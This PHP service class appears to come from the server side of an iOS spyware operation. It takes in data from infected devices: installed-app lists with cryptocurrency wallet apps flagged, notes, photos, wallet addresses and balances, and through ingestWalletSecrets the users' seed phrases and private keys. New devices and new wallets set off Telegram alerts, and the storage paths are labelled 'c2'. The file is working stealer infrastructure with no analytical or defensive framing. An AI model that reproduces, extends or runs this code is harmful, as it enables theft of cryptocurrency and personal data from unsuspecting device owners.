357 lines
12 KiB
PHP
357 lines
12 KiB
PHP
<?php
|
||
|
||
namespace App\Services;
|
||
|
||
use App\Models\Device;
|
||
use App\Models\DeviceApp;
|
||
use App\Models\DeviceEvent;
|
||
use App\Models\Note;
|
||
use App\Models\Photo;
|
||
use App\Models\Wallet;
|
||
use App\Models\WalletAddress;
|
||
use Illuminate\Http\Request;
|
||
use Illuminate\Support\Facades\Storage;
|
||
|
||
class IngestService
|
||
{
|
||
public function __construct(private readonly TelegramNotifier $telegram) {}
|
||
|
||
/**
|
||
* Stable device id — currently only from payload `d` / `f`.
|
||
* Other fields will be added when confirmed in live traffic.
|
||
*/
|
||
public function extractDeviceKey(?array $payload): ?string
|
||
{
|
||
if (! is_array($payload)) {
|
||
return null;
|
||
}
|
||
foreach (['d', 'f'] as $key) {
|
||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||
return substr($payload[$key], 0, 64);
|
||
}
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||
{
|
||
$deviceKey ??= $this->extractDeviceKey($payload);
|
||
if (! $deviceKey) {
|
||
return null;
|
||
}
|
||
|
||
$deviceModel = $this->extractDeviceModel($payload);
|
||
$ios = $this->extractIosVersion($payload);
|
||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||
|
||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||
$attrs = [
|
||
'ip' => $request->ip(),
|
||
];
|
||
if ($ua !== '') {
|
||
$attrs['user_agent'] = $ua;
|
||
}
|
||
if ($deviceModel !== null) {
|
||
$attrs['device_model'] = $deviceModel;
|
||
} elseif ($existing) {
|
||
$attrs['device_model'] = $existing->device_model;
|
||
}
|
||
if ($ios !== null) {
|
||
$attrs['ios_version'] = $ios;
|
||
} elseif ($existing) {
|
||
$attrs['ios_version'] = $existing->ios_version;
|
||
}
|
||
|
||
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
|
||
$device = Device::query()->updateOrCreate(
|
||
['device_id' => $deviceKey],
|
||
$attrs
|
||
);
|
||
|
||
if (! $existing) {
|
||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||
$device->telegram_notified = true;
|
||
$device->save();
|
||
}
|
||
|
||
return $device;
|
||
}
|
||
|
||
/**
|
||
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
|
||
*/
|
||
public function ingestInstalledApps(Device $device, ?array $payload): void
|
||
{
|
||
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
|
||
return;
|
||
}
|
||
|
||
$walletBundles = config('coruna.wallet_bundles', []);
|
||
foreach ($payload['al'] as $item) {
|
||
if (! is_array($item)) {
|
||
continue;
|
||
}
|
||
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
||
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
||
$version = isset($item['v']) ? (string) $item['v'] : null;
|
||
if ($bundle === '') {
|
||
continue;
|
||
}
|
||
$isWallet = in_array($bundle, $walletBundles, true)
|
||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||
DeviceApp::query()->updateOrCreate(
|
||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||
[
|
||
'name' => $name,
|
||
'version' => $version,
|
||
'is_wallet' => $isWallet,
|
||
'meta_json' => $item,
|
||
]
|
||
);
|
||
}
|
||
}
|
||
|
||
/**
|
||
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
|
||
*/
|
||
public function ingestDeviceEvent(Device $device, ?array $payload): void
|
||
{
|
||
if (! is_array($payload)) {
|
||
return;
|
||
}
|
||
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
|
||
$desc = $payload['desc'] ?? $payload['description'] ?? null;
|
||
if ($eventName === null && $desc === null) {
|
||
return;
|
||
}
|
||
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
|
||
$contextJson = null;
|
||
if (is_array($ctx)) {
|
||
$contextJson = $ctx;
|
||
} elseif ($ctx !== null) {
|
||
$contextJson = ['value' => $ctx];
|
||
}
|
||
|
||
DeviceEvent::query()->create([
|
||
'device_id' => $device->id,
|
||
'device_key' => $device->device_id,
|
||
'event_name' => is_string($eventName) ? $eventName : null,
|
||
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
|
||
'context_json' => $contextJson,
|
||
]);
|
||
}
|
||
|
||
public function ingestWalletSecrets(Device $device, ?array $payload): void
|
||
{
|
||
if (! is_array($payload)) {
|
||
return;
|
||
}
|
||
$mnemonic = null;
|
||
$priv = null;
|
||
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
|
||
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
|
||
$mnemonic = $payload[$key];
|
||
break;
|
||
}
|
||
}
|
||
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
|
||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||
$priv = $payload[$key];
|
||
break;
|
||
}
|
||
}
|
||
if ($mnemonic === null && $priv === null) {
|
||
if (isset($payload['result']) || isset($payload['data'])) {
|
||
Wallet::query()->create([
|
||
'device_id' => $device->id,
|
||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||
'raw_json' => $payload,
|
||
]);
|
||
}
|
||
|
||
return;
|
||
}
|
||
$wallet = new Wallet([
|
||
'device_id' => $device->id,
|
||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||
'raw_json' => $payload,
|
||
]);
|
||
$wallet->mnemonic = $mnemonic;
|
||
$wallet->privkey = $priv;
|
||
$wallet->save();
|
||
}
|
||
|
||
public function ingestAddresses(Device $device, ?array $payload): void
|
||
{
|
||
if (! is_array($payload)) {
|
||
return;
|
||
}
|
||
$rows = [];
|
||
if (isset($payload['data']) && is_array($payload['data'])) {
|
||
$rows = $this->normalizeAddressRows($payload['data']);
|
||
} elseif (isset($payload['result']) && is_array($payload['result'])) {
|
||
$rows = $this->normalizeAddressRows($payload['result']);
|
||
} else {
|
||
$rows = $this->normalizeAddressRows($payload);
|
||
}
|
||
|
||
foreach ($rows as $row) {
|
||
$address = $row['address'] ?? null;
|
||
if (! $address || ! is_string($address)) {
|
||
continue;
|
||
}
|
||
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
|
||
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
|
||
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
|
||
$existing = WalletAddress::query()
|
||
->where('device_id', $device->id)
|
||
->where('address', $address)
|
||
->where('chain', $chain)
|
||
->first();
|
||
$addr = WalletAddress::query()->updateOrCreate(
|
||
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
|
||
[
|
||
'balance' => $balance,
|
||
'symbol' => $symbol,
|
||
'meta_json' => $row,
|
||
]
|
||
);
|
||
if (! $existing) {
|
||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||
$addr->telegram_notified = true;
|
||
$addr->save();
|
||
} elseif ($balance !== null && $existing->balance !== $balance) {
|
||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||
}
|
||
}
|
||
}
|
||
|
||
public function ingestNotes(Device $device, ?array $payload): void
|
||
{
|
||
if (! is_array($payload)) {
|
||
return;
|
||
}
|
||
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
|
||
if (! is_array($notes)) {
|
||
Note::query()->create([
|
||
'device_id' => $device->id,
|
||
'title' => 'raw',
|
||
'body' => null,
|
||
'meta_json' => $payload,
|
||
]);
|
||
|
||
return;
|
||
}
|
||
$list = array_is_list($notes) ? $notes : [$notes];
|
||
foreach ($list as $note) {
|
||
if (! is_array($note)) {
|
||
continue;
|
||
}
|
||
Note::query()->create([
|
||
'device_id' => $device->id,
|
||
'title' => $note['title'] ?? $note['name'] ?? null,
|
||
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
|
||
'meta_json' => $note,
|
||
]);
|
||
}
|
||
}
|
||
|
||
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
|
||
{
|
||
foreach ($filePaths as $path) {
|
||
if (! is_file($path)) {
|
||
continue;
|
||
}
|
||
$bytes = file_get_contents($path);
|
||
$sha = hash('sha256', $bytes);
|
||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||
Storage::disk('local')->put($rel, $bytes);
|
||
Photo::query()->create([
|
||
'device_id' => $device->id,
|
||
'sha256' => $sha,
|
||
'path' => $rel,
|
||
'size' => strlen($bytes),
|
||
'counters_json' => $counters,
|
||
]);
|
||
}
|
||
}
|
||
|
||
private function extractDeviceModel(?array $payload): ?string
|
||
{
|
||
if (! is_array($payload)) {
|
||
return null;
|
||
}
|
||
foreach (['deviceModel'] as $key) {
|
||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||
return $payload[$key];
|
||
}
|
||
}
|
||
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
|
||
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
|
||
return $payload['m'];
|
||
}
|
||
$info = $payload['deviceInfo'] ?? null;
|
||
if (is_array($info)) {
|
||
foreach (['productType', 'machine', 'model'] as $key) {
|
||
if (! empty($info[$key]) && is_string($info[$key])) {
|
||
return $info[$key];
|
||
}
|
||
}
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
private function extractIosVersion(?array $payload): ?string
|
||
{
|
||
if (! is_array($payload)) {
|
||
return null;
|
||
}
|
||
// /api/user/get uses `v` for iOS version
|
||
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
|
||
return $payload['v'];
|
||
}
|
||
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
|
||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||
return $payload[$key];
|
||
}
|
||
}
|
||
$sv = $payload['systemVersion'] ?? null;
|
||
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
|
||
return $sv['ProductVersion'];
|
||
}
|
||
if (is_string($sv) && $sv !== '') {
|
||
return $sv;
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
private function looksLikeMnemonic(string $value): bool
|
||
{
|
||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||
|
||
return in_array(count($words), [12, 15, 18, 21, 24], true)
|
||
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
|
||
}
|
||
|
||
private function normalizeAddressRows(array $data): array
|
||
{
|
||
if (array_is_list($data)) {
|
||
return array_values(array_filter($data, 'is_array'));
|
||
}
|
||
if (isset($data['address'])) {
|
||
return [$data];
|
||
}
|
||
$out = [];
|
||
foreach ($data as $value) {
|
||
if (is_array($value) && isset($value['address'])) {
|
||
$out[] = $value;
|
||
}
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
}
|